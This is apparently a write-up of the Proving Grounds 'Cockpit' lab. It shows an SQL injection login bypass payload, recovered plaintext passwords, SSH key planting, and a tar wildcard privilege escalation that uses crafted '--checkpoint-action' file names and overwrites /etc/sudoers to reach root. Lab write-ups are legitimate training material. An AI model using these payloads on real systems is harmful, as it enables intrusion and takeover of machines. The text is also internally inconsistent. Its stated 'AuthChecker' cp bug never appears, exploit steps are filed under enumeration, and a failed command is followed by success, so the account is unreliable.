Target: Linux

Proving Grounds: Cockpit

This lab demonstrates exploiting a SQL Injection (SQLi) vulnerability in a login page to extract credentials and gain access via SSH. Privilege escalation is achieved by abusing a wildcard bug in a custom SUID binary (AuthChecker), allowing learners to manipulate the cp command to preserve permissions and create a root-owned SUID binary. This lab emphasizes SQLi exploitation, binary analysis, and wildcard-based privilege escalation for root access.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

In this lab, we will manually exploit a SQL injection to obtain credentials and leverage write access to a user's filesystem for SSH access. We will then analyze an interesting ELF binary to discover a wildcard bug that facilitates privilege escalation to root access. This lab focuses on SQL injection exploitation and privilege escalation through binary vulnerabilities.

Scenario

This lab demonstrates exploiting a SQL Injection (SQLi) vulnerability in a login page to extract credentials and gain access via SSH. Privilege escalation is achieved by abusing a wildcard bug in a custom SUID binary (AuthChecker), allowing learners to manipulate the cp command to preserve permissions and create a root-owned SUID binary. This lab emphasizes SQLi exploitation, binary analysis, and wildcard-based privilege escalation for root access.

Learning objectives

After completion of this lab, learners will be able to:

Perform enumeration to identify a vulnerable login page running on port 80.
Exploit SQL Injection to bypass login authentication and extract credentials from the database.
Use the extracted credentials to gain access to the system via SSH.
Analyze the AuthChecker SUID binary and identify the wildcard bug in its cp command.
Exploit the wildcard vulnerability to copy a preserved SUID-enabled bash binary, escalating to root.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

james: Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI= : canttouchhhthiss@455152
cameron: dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy : thisscanttbetouchedd@455152

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Use the recovered credentials to establish a remote session.

└─$ ssh-keygen -f james       
Generating public/private ed25519 key pair.
Enter passphrase for "james" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in james
Your public key has been saved in james.pub
The key fingerprint is:
SHA256:JKxLZ5PdH73UHRIYUUsTB7sgfUtVmytNs9EFo/XRFEc kali@kali
The key\'s randomart image is:
+--[ED25519 256]--+
|           o=B*OE|
|     .    ...oBoO|
|      o .. o.* Bo|
|     . = .. +.*.B|
|    o = S . .+o+o|
|   . + .   . o.. |
|    .       . .  |
|                 |
|                 |
+----[SHA256]-----+

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(kali㉿kali)-[~/offsec/cockpit]
# Inspect the directory for files relevant to the next step.

└─$ ls
james  james.pub

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(kali㉿kali)-[~/offsec/cockpit]
# Read the file contents for useful configuration or credential data.

└─$ cat james.pub                       
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDLNUGi+ZdZVnVnH6qxCa8TnZNpzxisZjDeDvu5p+1wE kali@kali

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

james@blaze:~$ ls
local.txt  privesc.sh

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Read the file contents for useful configuration or credential data.

james@blaze:~$ cat privesc.sh

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ vim privesc.sh

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ echo "" > "--checkpoint-action=exec=sh privesc.sh"

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

james@blaze:~$ ls
'--checkpoint-action=exec=sh privesc.sh'   local.txt   privesc.sh

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ echo "" > --checkpoint=1

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

james@blaze:~$ ls
'--checkpoint=1'  '--checkpoint-action=exec=sh privesc.sh'   local.txt   privesc.sh

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The output records the result observed during this authorized lab step.

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: blaze
9090/tcp open  http    Cockpit web service 198 - 220
|_http-title: Did not follow redirect to https://192.168.176.10:9090/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing interesting on running gobuster on port 80 and port 9090
Port 80 has a random site and port 9090 has login page but the default credentials found online does not work
trying randomly /login.php opens a blaze login page
Trying different SQLi prompts like admin' or 1=1-- but it doesnt work, however admin'-- - worked and we go usernames and password
Trying this passwords with SSH but the SSH serever is configured to only accept sshkeys for authentication and no password

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# Use the recovered credentials to establish a remote session.

└─$ ssh james@192.168.176.10
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
james@192.168.176.10: Permission denied (publickey).
                                                                                                                 
┌──(kali㉿kali)-[~/offsec/cockpit]
# Use the recovered credentials to establish a remote session.

└─$ ssh cameron@192.168.176.10
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
cameron@192.168.176.10: Permission denied (publickey).

Tried login with this username and passwords on port 80 but it gives us invalid credentials
Cameron's password doesn't work on port 9090, but james worked
Added SSH pub key in the settings and tried connecting it using SSH

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

┌──(kali㉿kali)-[~/offsec/cockpit]
# Use the recovered credentials to establish a remote session.

└─$ ssh -i james james@192.168.176.10            

# Confirm the identity of the current session.

james@blaze:~$ whoami
james
# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@blaze:~$

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Identify commands that can run with elevated privileges.

james@blaze:~$ sudo -l
Matching Defaults entries for james on blaze:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

when running sudo -l it sows us that tar is running with wildcard
https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Identify commands that can run with elevated privileges.

james@blaze:~$ sudo -l
Matching Defaults entries for james on blaze:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ "echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers" > privesc.sh
-bash: echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers: No such file or directory

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
local.txt
privesc.sh

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Identify commands that can run with elevated privileges.

james@blaze:~$ sudo -l
User james may run the following commands on blaze:
    (root) NOPASSWD: ALL

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

james@blaze:~$ sudo su root
root@blaze:/home/james# cat /root/proof.txt 
51c960120095c64d0040416fa9d0d3f4
root@blaze:/home/james#

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.